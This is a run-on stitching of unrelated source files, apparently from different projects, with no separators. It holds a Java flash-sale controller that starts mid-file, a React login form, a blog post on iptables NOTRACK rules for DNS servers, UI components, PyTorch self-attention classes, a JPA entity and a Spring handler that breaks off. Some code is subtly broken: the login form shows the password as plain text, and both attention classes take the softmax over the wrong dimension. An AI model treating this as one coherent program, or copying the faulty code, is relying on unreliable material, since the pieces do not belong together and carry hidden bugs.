SeckillResult(true, exposer); } catch (Exception e) { logger.error(e.getMessage(), e); result = new SeckillResult(false, e.getMessage()); } return result; } /* @RequestMapping(value = "/{seckillId}/exposer", method = RequestMethod.POST) @ResponseBody public SeckillResult<Exposer> exposer(@PathVariable("secillId") Long seckillId) { SeckillResult<Exposer> result = null; try { Exposer exposer = seckillService.exportSeckillUrl(seckillId); result = new SeckillResult(false, exposer); } catch (Exception e) { logger.error(e.getMessage(), e); result = new SeckillResult(false, e.getMessage()); } return result; } */ // @RequestMapping(value="/{seckillId}/{md5}/execution", method=RequestMethod.POST) @ResponseBody public SeckillResult<SeckillExecution> execute(@PathVariable("seckillId") Long seckillId, @PathVariable("md5") String md5, @CookieValue(value="killPhone", required=false) Long phone) { if (phone == null) { return new SeckillResult<SeckillExecution>(false, "未注册"); } SeckillResult<SeckillExecution> result; try { SeckillExecution execution = seckillService.executeSeckill(seckillId, phone, md5); return new SeckillResult<SeckillExecution>(true, execution); } catch (RepeatKillException e) { SeckillExecution execution = new SeckillExecution(seckillId, SeckillStateEnum.REPEAT_KILL); return new SeckillResult<SeckillExecution>(true, execution); } catch (SeckillCloseException e) { SeckillExecution execution = new SeckillExecution(seckillId, SeckillStateEnum.END); return new SeckillResult<SeckillExecution>(true, execution); } catch (Exception e) { logger.error(e.getMessage(), e); SeckillExecution execution = new SeckillExecution(seckillId, SeckillStateEnum.INNER_ERROR); result = new SeckillResult<SeckillExecution>(true, execution); } return result; //return new SeckillResult<SeckillExecution>(false, "好奇怪"); } /* @RequestMapping(value="/{seckillId}/{md5}/execution", method=RequestMethod.POST) @ResponseBody public SeckillResult<SeckillExecution> execute(@PathVariable("sekcillId") Long seckillId, @PathVariable("md5") String md5, @CookieValue(value = "killPhone", required= false) Long phone) { if (phone == null) { return new SeckillResult<SeckillExecution>(false, "未注册"); } SeckillResult<SeckillExecution> result; try { SeckillExecution execution = seckillService.executeSeckill(seckillId, phone, md5); return new SeckillResult<SeckillExecution>(true, execution); } catch (RepeatKillException e) { SeckillExecution execution = new SeckillExecution(seckillId, SeckillStateEnum.REPEAT_KILL); return new SeckillResult<SeckillExecution>(true, execution); } catch (SeckillCloseException e) { SeckillExecution execution = new SeckillExecution(seckillId, SeckillStateEnum.END); return new SeckillResult<SeckillExecution>(true, execution); } catch (Exception e) { logger.error(e.getMessage(), e); SeckillExecution execution = new SeckillExecution(seckillId, SeckillStateEnum.INNER_ERROR); result = new SeckillResult<SeckillExecution>(true, execution); } return result; } */ @RequestMapping(value = "/time/now", method = RequestMethod.GET) @ResponseBody public SeckillResult<Long> time() { Date now = new Date(); return new SeckillResult(true, now.getTime()); } }
import { classNames } from 'shared/lib/classNames/classNames' import cls from './LoginForm.module.scss' import { Button, ThemeButton } from 'shared/ui/Button/Button' import { useTranslation } from 'react-i18next' import { Input } from 'shared/ui/Input/Input' import { memo, useCallback } from 'react' import { useSelector } from 'react-redux' import { loginByUsername } from '../../model/services/loginByUsername/loginByUsername' import { Text, TextTheme } from 'shared/ui/Text/Text' import { loginActions, loginReducer } from '../../model/slice/loginSlice' import { getLoginUsername } from '../../model/selectors/getLoginUsername/getLoginUsername' import { getLoginPassword } from '../../model/selectors/getLoginPassword/getLoginPassword' import { getLoginError } from '../../model/selectors/getLoginError/getLoginError' import { getLoginIsLoading } from '../../model/selectors/getLoginIsLoading/getLoginIsLoading' import { DynamicModuleLoader, ReducersList, } from 'shared/lib/components/DynamicModuleLoader/DynamicModuleLoader' import { useAppDispatch } from 'shared/lib/hooks/useAppDispatch/useAppDispatch' export interface LoginFormProps { className?: string } const initialReducers: ReducersList = { loginForm: loginReducer, } const LoginForm = memo(({ className = '' }: LoginFormProps) => { const { t } = useTranslation() const dispatch = useAppDispatch() const username = useSelector(getLoginUsername) const password = useSelector(getLoginPassword) const error = useSelector(getLoginError) const isLoading = useSelector(getLoginIsLoading) const onChangeUsername = useCallback( (value: string) => { dispatch(loginActions.setUsername(value)) }, [dispatch], ) const onChangePassword = useCallback( (value: string) => { dispatch(loginActions.setPassword(value)) }, [dispatch], ) const onLoginClick = useCallback(() => { dispatch(loginByUsername({ username, password })) }, [dispatch, password, username]) return ( <DynamicModuleLoader removeAfterUnmount reducers={initialReducers}> <div className={classNames(cls.LoginForm, {}, [className])}> <Text title={t('Форма авторизации')} /> {error && ( <Text text={t('Вы ввели неверный логин или пароль')} theme={TextTheme.ERROR} /> )} <Input autofocus type="text" onChange={onChangeUsername} placeholder={t('Введите email')} className={cls.input} value={username} /> <Input onChange={onChangePassword} type="text" placeholder={t('Введите пароль')} className={cls.input} value={password} /> <Button disabled={isLoading} theme={ThemeButton.OUTLINE} className={cls.loginBtn} onClick={onLoginClick} > {t('Войти')} </Button> </div> </DynamicModuleLoader> ) }) export default LoginForm
+++ draft = false date = 2015-05-05 title = "Use IPTables NOTRACK to implement stateless rules and reduce packet loss" description = "" summary = "Disabling IPTables connection tracking for DNS can resolve problems due to too many connections in the connection table." slug = "" authors = [] tags = ["DNS", "IPTables", "Networking", "Diagnostics"] categories = [] externalLink = "" series = [] +++ > This post was originally published at my old blog Distracted IT on Blogger.com I recently struck a performance problem with a high-volume Linux DNS server and found a very satisfying way to overcome it. This post is not about DNS specifically, but useful also to services with a high rate of connections/sessions (UDP or TCP), but it is especially useful for UDP-based traffic, as a stateful firewall doesn't really buy you much with UDP. It is also applicable to services such as HTTP/HTTPS or anything where you have a lot of connections... We observed times when DNS would not respond, but retrying very soon after would generally work. For TCP, you may find that you get a a connection timeout (or possibly a connection reset? I haven't checked that recently). Observing logs, you might see the following in kernel logs: ```plain > kernel: nf_conntrack: table full, dropping packet. ``` You might be inclined to increase net.netfilter.nf_conntrack_max and net.nf_conntrack_max, but a better response might be found by looking at what is actually taking up those entries in your connection tracking table. We found that the connection tracking was even happening for UDP rules. You could see this with some simple filtering of /proc/net/ip_conntrack looking to see how many entries are there relating to port 53, for example. Here is the basic rules that most Linux people would likely write for iptables. ```plain -A INPUT  -p udp --dport 53 -j ACCEPT -A INPUT -p tcp --dport 53 -m state --state=NEW -j ACCEPT ``` ## NOTRACK for Stateless Firewall Rules in a Stateful Firewall Thankfully, I had heard of the NOTRACK rule some time back, but never had a cause to use it, so at least I knew where to begin my research. Red Hat have an article about it at [https://access.redhat.com/solutions/972673](https://access.redhat.com/solutions/972673), though the rules below do not necessarily come from that. So we needed to use the 'raw' table to disable stateful inspection for DNS packets; that does mean we need to explictly match all incoming and outgoing packets (which is four UDP flows for a recursive server, plus TCP if you want to do stateless TCP) -- its rather like IPChains way back in the day... and like IPChains, you do lose all the benefits you get from a stateful firewall, and gain all the responsibilities of making sure you explicitly match all traffic flows. ```plain *raw ... # Don't do connection tracking for DNS -A PREROUTING -p tcp --dport 53 -j NOTRACK -A PREROUTING -p udp --dport 53 -j NOTRACK -A PREROUTING -p tcp --sport 53 -j NOTRACK -A PREROUTING -p udp --sport 53 -j NOTRACK -A OUTPUT -p tcp --sport 53 -j NOTRACK -A OUTPUT -p udp --sport 53 -j NOTRACK -A OUTPUT -p tcp --dport 53 -j NOTRACK -A OUTPUT -p udp --dport 53 -j NOTRACK ... COMMIT ... *filter ... # Allow stateless UDP serving -A INPUT  -p udp --dport 53 -j ACCEPT -A OUTPUT -p udp --sport 53 -j ACCEPT # Allow stateless UDP backending -A OUTPUT -p udp --dport 53 -j ACCEPT -A INPUT  -p udp --sport 53 -j ACCEPT # Allow stateless TCP serving -A INPUT  -p tcp --dport 53 -j ACCEPT -A OUTPUT -p tcp --sport 53 -j ACCEPT # Allow stateless TCP backending -A OUTPUT -p tcp --dport 53 -j ACCEPT -A INPUT  -p tcp --sport 53 -j ACCEPT ... COMMIT ``` ## Beware the moving bottleneck That worked well... perhaps a little too well. Now the service gets more than it did before, and you need to be prepared for that, as you may find that a new limit (and potential negative behaviour) is reached. DNS is particularly prone to having very large spikes of activity due to misconfigured clients. A common problem, particularly from Linux clients, are things like Wireshark, scripts that look up (often using dig/host/nslookup -- use `getent hosts` instead), and not having a local name-service cache. Assuming you can identify such clients, you could (perhaps in conjunction with fail2ban or similar) have some firewall rules that limit allowable request rates from very specific segments of your network... be very cautious of this though. These rules would go prior to your filter table rules allowing access (listed earlier). ```plain -N DNS_TOO_FREQUENT_BLOCKLIST # This chain is where the actual rate limiting is put in place. # Note that it is using just the srcip method in its hashing -A DNS_TOO_FREQUENT_BLOCKLIST -p udp -m udp --dport 53 -m hashlimit --hashlimit-mode srcip --hashlimit-srcmask 32 --hashlimit-above 10/sec --hashlimit-burst 20 --hashlimit-name dns_too_frequen -m comment --comment "drop_overly_frequent_DNS_requests" -j DROP # This matches a pair of machines I judged to be innocently bombarding DNS # It so happens that they could be nicely summarised with a /31 # The second line is so we can counters of what made it through -A INPUT -s «CLIENT_IP»/31 -j DNS_TOO_FREQUENT_BLOCKLIST -A INPUT -s «CLIENT_IP»/31 #... more rules here as needed ``` ## Concluding Remarks I've been running this configuration now for some time, and am very happy with it. I do intend to implement this technique on other services where I feel it may be needed (Syslog servers certainly)
import React, { FC, useCallback, useEffect } from 'react'; import { SVGIcon } from '../../../../atoms/SVGIcon/SVGIcon'; import { Text } from '../../../../atoms/Text/Text'; import { Channels, Chat } from '../../../../../../models/chat/chat'; import { // StyledLabel, StyledClientAndAgentAvatars, StyledNameAndDialog, // StyledLabelsContainer, } from '../PendingsChatItem/PendingsChatItem.styles'; import { TabProps, StyledLabelProps, SelectedUserProps, SortingProps, DropZoneDisplayedProps, ChatInputDialogueProps, ShowOnlyPaused, MessagesViewedOrNot, IPropsStringName, } from '../../ChatsSection/ChatsSection.interface'; import { StyledInConversationChatItem, StyledInConversationContainer, StyledInConversationWrapper, StyledNotViewedMessages, StyledTimeAndState, } from './InConversationChatItem.styles'; import { useAppDispatch, useAppSelector, } from '../../../../../../redux/hook/hooks'; import { setSortedByLastDate, setSortedByFirstDate, } from '../../../../../../redux/slices/live-chat/on-conversation-chats'; // import { Tag } from '../../../../../../models/tags/tag'; import { setChatsIdChannel, setChatsIdClient, } from '../../../../../../redux/slices/live-chat/chat-history'; import { baseRestApi } from '../../../../../../api/base'; import { getTimeAgo } from '../../ChatsSection/ChatsSection.shared'; import { useToastContext } from '../../../../molecules/Toast/useToast'; import { Toast } from '../../../../molecules/Toast/Toast.interface'; export const InConversationChatItem: FC< StyledLabelProps & SelectedUserProps & SortingProps & TabProps & DropZoneDisplayedProps & ChatInputDialogueProps & IPropsStringName & ShowOnlyPaused & MessagesViewedOrNot > = ({ setUserSelected, userSelected, // setActiveByDefaultTab, sortedChats, showOnlyPausedChats, searchByName, }) => { // const { tagsToFilter, channelsToFilter } = useAppSelector( // (state) => state.optionsToFilterChats, // ); const dispatch = useAppDispatch(); const showAlert = useToastContext(); const { chatsOnConversation } = useAppSelector( (state) => state.liveChat.chatsOnConversation, ); const handleResetNoViewedChats = useCallback( async (id: string) => { try { await baseRestApi.patch( `${process.env.NEXT_PUBLIC_REST_API_URL}/chats/resetUnreadMessages/${id}`, {}, ); } catch (error) { showAlert?.addToast({ alert: Toast.ERROR, title: 'ERROR', message: `INIT-CONVERSATION-ERROR ${error}`, }); } }, [showAlert], ); const handleSendMessageToUser = useCallback( async (clientId: string, channel: string, chatId: string) => { setUserSelected(clientId); handleResetNoViewedChats(chatId); dispatch(setChatsIdChannel(channel)); dispatch(setChatsIdClient(clientId)); }, [dispatch, setUserSelected, handleResetNoViewedChats], ); useEffect(() => { if (sortedChats) { dispatch(setSortedByLastDate()); } else { dispatch(setSortedByFirstDate()); } }, [dispatch, sortedChats]); return ( <StyledInConversationContainer> {chatsOnConversation && chatsOnConversation .filter( (user) => // (tagsToFilter.length > 0 && // channelsToFilter.length > 0 && // channelsToFilter?.includes(user.channel) && // user.tags.filter((tag: Tag) => tagsToFilter?.includes(tag.name)) // .length > 0) || // (tagsToFilter.length === 0 && // channelsToFilter.length > 0 && // channelsToFilter?.includes(user.channel)) || // (tagsToFilter.length > 0 && // channelsToFilter.length === 0 && // user.tags?.some((tag: Tag) => // tagsToFilter.includes(tag.name), // )) || // (tagsToFilter.length === 0 && // channelsToFilter.length === 0 && // chatsOnConversation), //------------------------------------------------------------------- // validacion si existe el name o clientId en los chats en Conversación user.client.name .toLowerCase() .includes(searchByName.toLowerCase()) || user.client.clientId.replace(/[,-]/g, '').includes(searchByName), ) .filter((user) => (showOnlyPausedChats ? user.isPaused : user)) .map((chat: Chat) => ( <StyledInConversationWrapper focusedItem={chat.client.clientId === userSelected} pausedItem={chat.isPaused} key={chat.createdAt.toString()} onClick={() => handleSendMessageToUser( chat.client.clientId, chat.channel, chat._id, ) }> <StyledInConversationChatItem> <StyledClientAndAgentAvatars> {chat.isPaused && <SVGIcon iconFile="/icons/pause.svg" />} {chat.isPaused === false && chat.client.profilePic && ( <img src={chat.client.profilePic} alt={chat.client.name} /> )} {chat.isPaused === false && !chat.client.profilePic && ( <SVGIcon iconFile="/icons/user.svg" /> )} {chat.channel === Channels.WHATSAPP && ( <SVGIcon iconFile="/icons/whatsapp.svg" /> )} {chat.channel === Channels.MESSENGER && ( <SVGIcon iconFile="/icons/messenger.svg" /> )} {chat.channel === Channels.INSTAGRAM && ( <SVGIcon iconFile="/icons/Instagram.svg" /> )} {chat.channel === Channels.WEBCHAT && ( <SVGIcon iconFile="/icons/webchat.svg" /> )} {chat.channel === Channels.WASSENGER && ( <SVGIcon iconFile="/icons/whatsapp.svg" /> )} {chat.unreadMessages > 0 && ( <StyledNotViewedMessages> {chat.unreadMessages > 99 ? '99+' : chat.unreadMessages} </StyledNotViewedMessages> )} </StyledClientAndAgentAvatars> <StyledNameAndDialog> <Text> {chat.client.name.substring(0, 16) || chat.client.clientId.substring(0, 16)} </Text> <Text> {chat.messages && chat.messages[chat.messages.length - 1].content.substring( 0, 14, )} ... </Text> </StyledNameAndDialog> <StyledTimeAndState> <div> <SVGIcon iconFile="/icons/watch.svg" /> <Text>{getTimeAgo(Number(new Date(chat.createdAt)))}</Text> </div> <div> {chat.isTransfer === true && ( <div> <SVGIcon iconFile="/icons/exchange_alt.svg" /> </div> )} </div> </StyledTimeAndState> </StyledInConversationChatItem> {/* {chat.tags && ( <StyledLabelsContainer> {chat.tags.map((tag: Tag, index: number) => ( <StyledLabel color={tag.color} key={index.toString()}> <Text>{tag.name}</Text> </StyledLabel> ))} </StyledLabelsContainer> )} */} </StyledInConversationWrapper> ))} </StyledInConversationContainer> ); };
import React, { useState } from "react"; export default function MainTemperature(props) { const [unit, setUnit] = useState("celsius"); function showFahrenheit(event) { event.preventDefault(); setUnit("fahrenheit"); } function showCelsius(event) { event.preventDefault(); setUnit("celsius"); } function fahrenheit() { return (props.celsius * 9) / 5 + 32; } if (unit === "celsius") { return ( <div className="MainTemperature d-flex"> <h5>{props.celsius}</h5> <div className="temperatureFormat"> °C /{" "} <a href="/" className="active" title="Fahrenheit" onClick={showFahrenheit} > F </a> </div> </div> ); } else { return ( <div className="MainTemperature d-flex"> <h5>{Math.round(fahrenheit())}</h5> <div className="temperatureFormat"> <a href="/" className="active" title="Celsius" onClick={showCelsius}> °C </a>{" "} / F </div> </div> ); } }
// SPDX-License-Identifier: GPL-3.0-or-later // SPDX-FileCopyrightText: 2017-2019 Alejandro Sirgo Rica & Contributors #include "colorpicker.h" #include "src/utils/confighandler.h" #include "src/utils/globalvalues.h" #include <QMouseEvent> #include <QPainter> ColorPicker::ColorPicker(QWidget* parent) : QWidget(parent) , m_selectedIndex(0) , m_lastIndex(0) { ConfigHandler config; m_colorList = config.userColors(); m_colorAreaSize = GlobalValues::buttonBaseSize() * 0.6; setMouseTracking(true); // save the color values in member variables for faster access m_uiColor = config.uiColor(); QColor drawColor = config.drawColor(); for (int i = 0; i < m_colorList.size(); ++i) { if (m_colorList.at(i) == drawColor) { m_selectedIndex = i; m_lastIndex = i; break; } } // extraSize represents the extra space needed for the highlight of the // selected color. const int extraSize = 6; double radius = (m_colorList.size() * m_colorAreaSize / 1.3) / 3.141592; resize(radius * 2 + m_colorAreaSize + extraSize, radius * 2 + m_colorAreaSize + extraSize); double degree = 360 / (m_colorList.size()); double degreeAcum = degree; // this line is the radius of the circle which will be rotated to add // the color components. QLineF baseLine = QLineF(QPoint(radius + extraSize / 2, radius + extraSize / 2), QPoint(radius * 2, radius)); for (int i = 0; i < m_colorList.size(); ++i) { m_colorAreaList.append(QRect( baseLine.x2(), baseLine.y2(), m_colorAreaSize, m_colorAreaSize)); baseLine.setAngle(degreeAcum); degreeAcum += degree; } } void ColorPicker::paintEvent(QPaintEvent* e) { QPainter painter(this); painter.setRenderHint(QPainter::Antialiasing); painter.setPen(QColor(Qt::black)); for (int i = 0; i < m_colorAreaList.size(); ++i) { if (e->region().contains(m_colorAreaList.at(i))) { painter.setClipRegion(e->region()); repaint(i, painter); } } } void ColorPicker::repaint(int i, QPainter& painter) { // draw the highlight when we have to draw the selected color if (i == m_selectedIndex) { QColor c = QColor(m_uiColor); c.setAlpha(155); painter.setBrush(c); c.setAlpha(100); painter.setPen(c); QRect highlight = m_colorAreaList.at(i); highlight.moveTo(highlight.x() - 3, highlight.y() - 3); highlight.setHeight(highlight.height() + 6); highlight.setWidth(highlight.width() + 6); painter.drawRoundedRect(highlight, 100, 100); painter.setPen(QColor(Qt::black)); } // draw available colors if (m_colorList.at(i).isValid()) { // draw preset color painter.setBrush(QColor(m_colorList.at(i))); painter.drawRoundedRect(m_colorAreaList.at(i), 100, 100); } else { // draw rainbow (part) for custom color QRect lastRect = m_colorAreaList.at(i); int nStep = 1; int nSteps = lastRect.height() / nStep; // 0.02 - start rainbow color, 0.33 - end rainbow color from range: // 0.0 - 1.0 float h = 0.02; for (int radius = nSteps; radius > 0; radius -= nStep * 2) { // calculate color float fHStep = (0.33 - h) / (nSteps / nStep / 2); QColor color = QColor::fromHslF(h, 0.95, 0.5); // set color and draw circle painter.setPen(color); painter.setBrush(color); painter.drawRoundedRect(lastRect, 100, 100); // set next color, circle geometry h += fHStep; lastRect.setX(lastRect.x() + nStep); lastRect.setY(lastRect.y() + nStep); lastRect.setHeight(lastRect.height() - nStep); lastRect.setWidth(lastRect.width() - nStep); } } } void ColorPicker::mouseMoveEvent(QMouseEvent* e) { for (int i = 0; i < m_colorList.size(); ++i) { if (m_colorAreaList.at(i).contains(e->pos())) { m_selectedIndex = i; update(m_colorAreaList.at(i) + QMargins(10, 10, 10, 10)); update(m_colorAreaList.at(m_lastIndex) + QMargins(10, 10, 10, 10)); m_lastIndex = i; break; } } } void ColorPicker::showEvent(QShowEvent* event) { grabMouse(); } void ColorPicker::hideEvent(QHideEvent* event) { releaseMouse(); emit colorSelected(m_colorList.at(m_selectedIndex)); }
import React from "react"; import Portrait from "../assets/Portrait.png"; import { motion } from "framer-motion"; import { fadeIn } from "./variants"; import jsico from "../assets/js.png"; import csharpico from "../assets/csharp.png"; import sqlico from "../assets/sql.png"; import htmlico from "../assets/html.png"; import cssico from "../assets/css.png"; import nodejsico from "../assets/nodejs.png"; import reactjsico from "../assets/react.png"; import tailwindico from "../assets/tailwindcss.png"; import nosqlico from "../assets/mongo.png"; import dockerico from "../assets/docker.png"; const About = () => { return ( <div id="About" className=" scroll-m-14 min-h-screen flex"> <div className=" text-center h-auto w-full bg-blue-50 dark:bg-slate-800 transition-colors duration-500 ease-in "> <motion.div variants={fadeIn("", 0.4)} initial="hidden" whileInView={"show"} viewport={{ once: true, amount: 0.4 }} > <h1 className="pt-10 pb-2 lg:pb-20 text-center text-5xl font-bold text-blue-400"> About me </h1> </motion.div> <div className="flex lg:flex-row flex-col justify-center gap-5 text-left"> <div className=" lg:text-justify text-center h-auto w-auto p-10"> <motion.div variants={fadeIn("right", 0.4)} initial="hidden" whileInView={"show"} viewport={{ once: true, amount: 0.4 }}> <h1 className=" text-blue-400 dark:text-zinc-200 transition-colors duration-500 ease-in text-3xl font-bold pb-4"> Vin Appenzeller </h1> <p className=" lg:max-w-xl lg:text-lg md:text-lg text-sm pb-2 dark:text-zinc-400 transition-colors duration-500 ease-in"> I'm a young developer at the IMS in Aarau. I enjoy creating different types applications that fit your expectaions. Something that i really like about being a software developer is always learning and adapting new technologies. In the first two years of being a student at IMS I've stumbled across alot of different programming languages and technologies and there is more to come in my third year which I'm currently in. For the fourth year of my school i have to get an internship as a application developer to complete my education. I am patient and focused at work, able to work alone as well as in a group. </p> <h2 className=" text-blue-400 dark:text-zinc-200 transition-colors duration-500 ease-in text-lg font-semibold pb-2"> Technologies I've worked with </h2> <div className="flex flex-col gap-0 font-semibold"> <div className=" lg:justify-normal justify-center flex"> <img className=" animate-pulse select-none w-12 h-12 md:w-16 md:h-16 lg:w-20 lg:h-20" src={jsico} alt="jsico" /> <img className=" animate-pulse select-none w-12 h-12 md:w-16 md:h-16 lg:w-20 lg:h-20" src={csharpico} alt="csharpico" /> <img className=" animate-pulse select-none w-12 h-12 md:w-16 md:h-16 lg:w-20 lg:h-20" src={sqlico} alt="sqlico" /> <img className=" animate-pulse select-none w-12 h-12 md:w-16 md:h-16 lg:w-20 lg:h-20" src={htmlico} alt="htmlico" /> <img className=" animate-pulse select-none w-12 h-12 md:w-16 md:h-16 lg:w-20 lg:h-20" src={cssico} alt="cssico" /> </div> <div className=" lg:justify-normal justify-center flex"> <img className=" animate-pulse select-none w-12 h-12 md:w-16 md:h-16 lg:w-20 lg:h-20" src={nodejsico} alt="nodejsico" /> <img className=" animate-pulse select-none w-12 h-12 md:w-16 md:h-16 lg:w-20 lg:h-20" src={reactjsico} alt="reactjsico" /> <img className=" animate-pulse select-none w-12 h-12 md:w-16 md:h-16 lg:w-20 lg:h-20" src={tailwindico} alt="tailwindico" /> <img className=" animate-pulse select-none w-12 h-12 md:w-16 md:h-16 lg:w-20 lg:h-20" src={nosqlico} alt="nosqlico" /> <img className=" animate-pulse select-none w-12 h-12 md:w-16 md:h-16 lg:w-20 lg:h-20" src={dockerico} alt="dockerico" /> </div> </div> </motion.div> </div> <motion.div className=" lg:pt-16 lg:self-auto self-center" variants={fadeIn("left", 0.4)} initial="hidden" whileInView={"show"} viewport={{ once: true, amount: 0.4 }}> <img className="rounded-xl shadow-lg h-80 w-auto" src={Portrait} alt="Portrait" /> </motion.div> </div> </div> </div> ); }; export default About;
import torch import torch.nn as nn # Pg 81: 3.1 A compact self-attention class for Version 1. class SelfAttention_v1(nn.Module): def __init__(self, d_in, d_out): super().__init__() self.d_out = d_out self.W_query = nn.Parameter(torch.rand(d_in, d_out)) self.W_key = nn.Parameter(torch.rand(d_in, d_out)) self.W_value = nn.Parameter(torch.rand(d_in, d_out)) def forward(self, x): batch_size, seq_length, d_in = x.shape # Linear projections keys = torch.matmul(x, self.W_key) # Shape: [batch_size, seq_length, d_out] queries = torch.matmul(x, self.W_query) # Shape: [batch_size, seq_length, d_out] values = torch.matmul(x, self.W_value) # Shape: [batch_size, seq_length, d_out] # Omega: Compute attention scores attn_scores = torch.matmul(queries, keys.transpose(-2, -1)) / (self.W_key.shape[-1] ** 0.5) # Shape [batch_size, seq_length, seq_length] # Create mask mask = torch.triu(torch.ones(seq_length, seq_length), diagonal=1) masked_attn_scores = attn_scores.masked_fill(mask.bool(), -torch.inf) # Compute attention weights attn_weights = torch.softmax(masked_attn_scores, dim=1) # Shape: [batch_size, seq_length, seq_length] # Compute the context vector as a weighted sum of the value of vectors context_vec = torch.matmul(attn_weights, values) # Shape: [batch_size, seq_length, d_out] return context_vec # Pg 83: Self Attention Class version 2: sa_v2 class SelfAttention_v2(nn.Module): def __init__(self, d_in, d_out, qkv_bias=False): super().__init__() self.d_out = d_out self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) def forward(self, x): keys = self.W_key(x) queries = self.W_query(x) values = self.W_value(x) attn_scores = queries @ keys.transpose(-2, -1) attn_weights = torch.softmax(attn_scores / (keys.shape[-1] ** 0.5), dim=1) context_vec = attn_weights @ values return context_vec
import './App.scss' import axios from 'axios' import React, { useState, useEffect } from 'react' import CharactersList from './components/CharactersList/CharactersList' import CharactersSearch from './components/CharactersSearch/CharactersSearch' import { Link } from 'react-router-dom' import { Container, Pagination, PaginationItem } from '@mui/material' import { useParams } from 'react-router-dom' const baseURL = 'https://rickandmortyapi.com/api/character/?page=' function App() { const [characters, setCharacters] = useState([]) const [apiInfo, setApiInfo] = useState([]) const [isLoading, setLoading] = useState(true) const [page, setPage] = useState(1) const handleChange = (event, value) => { setCharacters([]) setPage(value) setLoading(false) } useEffect(() => { axios.get(`${baseURL}${page}`).then((response) => { setCharacters(response.data.results) setApiInfo(response.data.info) setLoading(false) }) }, [page]) if (isLoading) { return <div>Loading...</div> } return ( <> <Container sx={{ pt: 3, pb: 40 }} className="App"> <CharactersSearch characters={characters} /> <CharactersList characters={characters} /> <div className="pagination"> <Pagination page={page} count={apiInfo.pages} onChange={handleChange} /> </div> </Container> </> ) } export default App
import 'dart:math'; import 'package:face_talk_flutter/components/custom_text_field.dart'; import 'package:face_talk_flutter/screens/call_page.dart'; import 'package:flutter/material.dart'; class HomePage extends StatefulWidget { const HomePage({super.key, required this.userID}); final String userID; @override State<HomePage> createState() => _HomePageState(); } class _HomePageState extends State<HomePage> { final TextEditingController joinCode = TextEditingController(); @override void dispose() { joinCode.dispose(); super.dispose(); } @override Widget build(BuildContext context) { return Scaffold( backgroundColor: Colors.black, appBar: AppBar( backgroundColor: Colors.black, title: const Text( 'FaceTalk', style: TextStyle( fontSize: 22, fontWeight: FontWeight.w600, ), ), centerTitle: true, ), body: Center( child: Container( constraints: BoxConstraints( maxWidth: 600, ), padding: const EdgeInsets.symmetric(horizontal: 32), child: Column( mainAxisAlignment: MainAxisAlignment.center, children: [ InkWell( onTap: () { Navigator.of(context).push( MaterialPageRoute( builder: (context) => CallPage( callID: Random().nextInt(999999).toString().trim(), userID: widget.userID, ), ), ); }, child: Container( padding: const EdgeInsets.symmetric(vertical: 15, horizontal: 24), decoration: BoxDecoration( color: const Color.fromRGBO(0, 31, 84, 1), border: Border.all( width: 1, color: const Color.fromRGBO(0, 31, 84, 1), ), borderRadius: BorderRadius.circular(12), ), child: const Row( children: [ Icon( Icons.add, size: 48, color: Colors.white, ), Text( ' Create a new call', style: TextStyle( color: Colors.white, fontSize: 24, fontWeight: FontWeight.w600, ), ), ], ), ), ), const SizedBox( height: 24, ), InkWell( onTap: () { showDialog( context: context, builder: (context) => AlertDialog( actions: [ TextButton( onPressed: () { if (joinCode.text.isEmpty) { ScaffoldMessenger.of(context).showSnackBar( const SnackBar( content: Text('Please enter the code.'), duration: Duration(seconds: 1), ), ); } else { Navigator.of(context).push( MaterialPageRoute( builder: (context) => CallPage( callID: joinCode.text.trim(), userID: widget.userID, ), ), ); } }, child: const Text( 'Join', style: TextStyle( color: Colors.white, fontSize: 16, ), ), ), ], content: Column( mainAxisSize: MainAxisSize.min, children: [ CustomTextField( hintText: 'Enter the code', textEditingController: joinCode, ) ], ), // contentPadding: EdgeInsets.all(5), ), ); }, child: Container( padding: const EdgeInsets.symmetric(vertical: 20, horizontal: 24), decoration: BoxDecoration( color: const Color.fromRGBO(0, 31, 84, 1), border: Border.all( width: 1, color: const Color.fromRGBO(0, 31, 84, 1), ), borderRadius: BorderRadius.circular(12), ), child: const Row( children: [ SizedBox( width: 4, ), Icon( Icons.photo_camera_rounded, size: 38, color: Colors.white, ), Text( ' Join with a code', style: TextStyle( color: Colors.white, fontSize: 24, fontWeight: FontWeight.w600, ), ), ], ), ), ), ], ), ), ), ); } }
package org.study.hydro.entity; import javax.persistence.*; import java.io.Serializable; import java.util.List; import java.util.Objects; @Entity @Table(name = "roles", uniqueConstraints = @UniqueConstraint(columnNames = "name")) public class Role implements Serializable { private static final long serialVersionUID = -7986850286600965082L; @Id @GeneratedValue(strategy = GenerationType.IDENTITY) @Column(name = "id_roles") private int roleId; @Enumerated(EnumType.STRING) private ERole name; // @Column(name = "name") // private String name; @OneToMany(mappedBy = "role", fetch = FetchType.LAZY) private List<User> users; public Role() { } public Role(ERole name) { this.name = name; } public Role(int roleId, ERole name) { this.roleId = roleId; this.name = name; } public int getRoleId() { return roleId; } public void setRoleId(int roleId) { this.roleId = roleId; } public ERole getName() { return name; } public void setName(ERole name) { this.name = name; } public List<User> getUsers() { return users; } public void setUsers(List<User> users) { this.users = users; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; Role role1 = (Role) o; if (roleId != role1.roleId) return false; if (name != role1.name) return false; return Objects.equals(users, role1.users); } @Override public int hashCode() { int result = roleId; result = 31 * result + (name != null ? name.hashCode() : 0); result = 31 * result + (users != null ? users.hashCode() : 0); return result; } @Override public String toString() { return "Role{" + "roleId=" + roleId + ", role=" + name + ", users=" + users + '}'; } }
package com.trynoice.api.platform; import jakarta.validation.ConstraintViolationException; import lombok.NonNull; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.TypeMismatchException; import org.springframework.http.HttpStatus; import org.springframework.http.converter.HttpMessageNotReadableException; import org.springframework.validation.BindException; import org.springframework.web.HttpMediaTypeNotAcceptableException; import org.springframework.web.HttpMediaTypeNotSupportedException; import org.springframework.web.HttpRequestMethodNotSupportedException; import org.springframework.web.bind.MethodArgumentNotValidException; import org.springframework.web.bind.MissingRequestHeaderException; import org.springframework.web.bind.MissingServletRequestParameterException; import org.springframework.web.bind.ServletRequestBindingException; import org.springframework.web.bind.annotation.ExceptionHandler; import org.springframework.web.bind.annotation.ResponseStatus; import org.springframework.web.bind.annotation.RestControllerAdvice; import org.springframework.web.servlet.NoHandlerFoundException; /** * Exception handlers for common, global handled and unhandled errors. */ @RestControllerAdvice @Slf4j public class GlobalControllerAdvice { 